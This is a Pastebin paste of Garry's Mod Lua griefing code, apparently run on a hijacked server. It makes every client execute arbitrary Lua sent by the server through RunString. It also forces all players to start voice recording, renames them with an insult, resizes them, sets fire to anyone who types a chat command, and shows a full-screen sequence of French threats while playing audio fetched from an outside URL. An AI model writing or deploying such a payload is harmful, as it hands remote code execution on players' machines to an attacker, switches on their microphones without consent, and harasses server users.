Advertisement
xSakuraYT

SKELETTON

May 2nd, 2018
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.38 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37.  
  38. function lol:SendLua( pPlayer, strLua )
  39. net.Start( "skeleton_dancing_troll" )
  40. net.WriteString( strLua )
  41. net.Send( pPlayer )
  42. end
  43.  
  44. function lol:SetupPlayer( pPlayer )
  45. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  46. end
  47.  
  48.  
  49. -----START LINE CODE FOR DANSE
  50. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  51. -----STOP LINE CODE FOR DANSE
  52.  
  53. ------- STARTCODE FOR FORCE CHANGE NAME
  54. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", "Sakura Fuck You !") end
  55. ------- STOP LINE CODE FOR CHANGE NAME
  56.  
  57. ------- STOP LINE CODE FOR CHANGE NAME
  58. for k,v in pairs(player.GetAll()) do v:ConCommand("+voicerecord") end
  59. ------- STOP LINE CODE FOR CHANGE NAME
  60.  
  61. --------- GIANT
  62. hook.Add("Think", "giant", function()
  63. for k,v in pairs (player.GetAll()) do
  64. v:SetModelScale(50.5, 100);
  65. v:SetRunSpeed(400 * 2);
  66. v:SetWalkSpeed(200 * 2);
  67. end
  68. end)
  69. ------------------
  70.  
  71. for k, v in pairs( player.GetAll() ) do
  72. lol:SetupPlayer( v )
  73. timer.Simple( 2, function() lol:Start( v ) end )
  74. end
  75.  
  76. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  77. lol:SetupPlayer( pPlayer )
  78. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  79. end )
  80.  
  81. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  82. if strText:sub( 1, 5 ) == "/1337" then
  83. pSender:Ignite( 1e9 )
  84. pSender:ChatPrint( "Nop" )
  85. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  86. return false
  87. end
  88. end )
  89.  
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96. lol:PushAction( 0, function( pPlayer )
  97. lol:SendLua( pPlayer, ([[
  98.  
  99. sound.PlayURL( "https://supronrp.fr/secret/satan.mp3", "", function()end )
  100.  
  101. local time = 1
  102.  
  103. hook.Add( 'RenderScreenspaceEffects', 'loading', function()
  104.  
  105.  
  106. draw.RoundedBox( 0, 0, 0, ScrW(), ScrH(), Color( 0, 0, 0, 255 ) )
  107.  
  108. if time == 1 then
  109.  
  110. timer.Simple( 5, function() time = 2 end )
  111.  
  112. draw.SimpleTextOutlined(
  113. "Bonjour... Je suis Sakura...",
  114. "DermaLarge",
  115. ScrW() /2 +math.random( -8, 8 ),
  116. ScrH() /2 +math.random( -8, 8 ) +1,
  117. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  118. TEXT_ALIGN_CENTER,
  119. TEXT_ALIGN_CENTER,
  120. 1,
  121. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  122. )
  123.  
  124.  
  125. end
  126.  
  127. if time == 2 then
  128.  
  129. timer.Simple( 5, function() time = 3 end )
  130.  
  131. draw.SimpleTextOutlined(
  132. "Je serait ton pire cauchemard...",
  133. "DermaLarge",
  134. ScrW() /2 +math.random( -8, 8 ),
  135. ScrH() /2 +math.random( -8, 8 ) +1,
  136. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  137. TEXT_ALIGN_CENTER,
  138. TEXT_ALIGN_CENTER,
  139. 1,
  140. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  141. )
  142. end
  143.  
  144. if time == 3 then
  145.  
  146. timer.Simple( 5, function() time = 4 end )
  147.  
  148. draw.SimpleTextOutlined(
  149. "Je vient ici pour faucher la vie de ce serveur...",
  150. "DermaLarge",
  151. ScrW() /2 +math.random( -8, 8 ),
  152. ScrH() /2 +math.random( -8, 8 ) +1,
  153. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  154. TEXT_ALIGN_CENTER,
  155. TEXT_ALIGN_CENTER,
  156. 1,
  157. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  158. )
  159. end
  160.  
  161. if time == 4 then
  162.  
  163. timer.Simple( 5, function() time = 5 end )
  164.  
  165. draw.SimpleTextOutlined(
  166. "La ou il disparaitera... en ENFER...",
  167. "DermaLarge",
  168. ScrW() /2 +math.random( -8, 8 ),
  169. ScrH() /2 +math.random( -8, 8 ) +1,
  170. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  171. TEXT_ALIGN_CENTER,
  172. TEXT_ALIGN_CENTER,
  173. 1,
  174. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  175. )
  176. end
  177.  
  178. if time == 5 then
  179.  
  180. timer.Simple( 5, function() time = 6 end )
  181.  
  182. draw.SimpleTextOutlined(
  183. "A BientΓ΄t... En ENFER...",
  184. "DermaLarge",
  185. ScrW() /2 +math.random( -8, 8 ),
  186. ScrH() /2 +math.random( -8, 8 ) +1,
  187. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  188. TEXT_ALIGN_CENTER,
  189. TEXT_ALIGN_CENTER,
  190. 1,
  191. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  192. )
  193. end
  194.  
  195.  
  196.  
  197. if time == 6 then
  198.  
  199. timer.Simple( 5, function() time = 6 end )
  200.  
  201. draw.SimpleTextOutlined(
  202. "Mhouaaaaa....",
  203. "DermaLarge",
  204. ScrW() /2 +math.random( -8, 8 ),
  205. ScrH() /2 +math.random( -8, 8 ) +1,
  206. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  207. TEXT_ALIGN_CENTER,
  208. TEXT_ALIGN_CENTER,
  209. 1,
  210. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  211. )
  212. end
  213.  
  214.  
  215.  
  216.  
  217. end)
  218.  
  219. ]]))
  220. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement